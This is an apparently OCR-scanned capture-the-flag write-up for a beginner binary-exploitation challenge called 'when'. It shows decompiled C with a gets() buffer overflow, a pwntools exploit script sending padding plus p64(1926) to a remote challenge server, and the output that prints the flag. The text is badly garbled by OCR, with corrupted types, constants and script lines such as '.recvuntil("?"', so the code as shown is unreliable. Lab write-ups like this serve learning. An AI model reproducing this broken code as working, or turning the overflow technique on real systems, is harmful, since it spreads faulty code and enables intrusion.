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checksec:

root@at-ubuntu:/home/atfwus/rop# checksec when
[*]1 '/home/atfwus/rop/when'’

Arch: amdb4-64-1little

RELRO:

Stack:

NX:

PIE:
root@at-ubuntu:/home/atfwus/rop# |
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1| _inté4 _ fastcall main(__int64 al, char **a2, char **a3)
2{

3| __inté4 result; // rax

4| char v4; // [rsp+6h] [rbp-28h]

5| unsigned int v5; // [rsp+8h] [rbp-18h]

6/ unsigned __inté4 v6; // [rsp+18h] [rbp-8h]

7

& v6 = __readfsqword(ex28u);

0

setbuf(stdin, ©LL);

18| setbuf(stdout, eLL);

11| setbuf(stderr, 6LL);

12| puts(“"What's Your Birth?");
13| __isoc99_scanf("%d", &v5);
14| while ( getchar() != 18 )
15 H
16| if ( v5 == 1926 )

17 {

18 puts(“You Cannot Born In 1926!");
19 result = @LL;

20 }
21| else
220 {

23 puts("What's Your Name{");

24 gets(&v4);

25 printf("You Are Born In %d\n", v5);
26 if ( v == 1926 )

27 {

28 puts("You Shall Have Flag.");
29 system("cat flag");

3e

31 else

32 {

33 puts("You Are Naive.");

34 puts("You Speed One Second Here.");
35 }

36 result = @LL;

37}

38| return result;

39}
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char va4; // [rsp+8h] [rbp-28h] g -
unsigned int v5; // [rsp+8h] [rbp-lBh]'*——_’r
unsigned __inté4 v6; // [rsp+18h] [rbp-8h]
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0x02.exp

##!/usr/bin/env python

from pwn import*
r=remote("111.198.29.45",47185)
#tr=process('./when")

payload=8*"'A"'+p64(1926)

.recvuntil("?"
.sendline("1925")
.recvuntil("?"
.sendline(payload)
.interactive()
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root@at-ubuntu:/home/atfwus/rop# python expwhen.py
[+] Opening connection to 111.198.29.45 on port 47185: Done
[*] Switching to interactive mode

ou Are Born In 1926

ou Shall Have Flag.

yberpeace{6bc5883accd1387314800526a9890f63}
[*] Got EOF while reading in interactive
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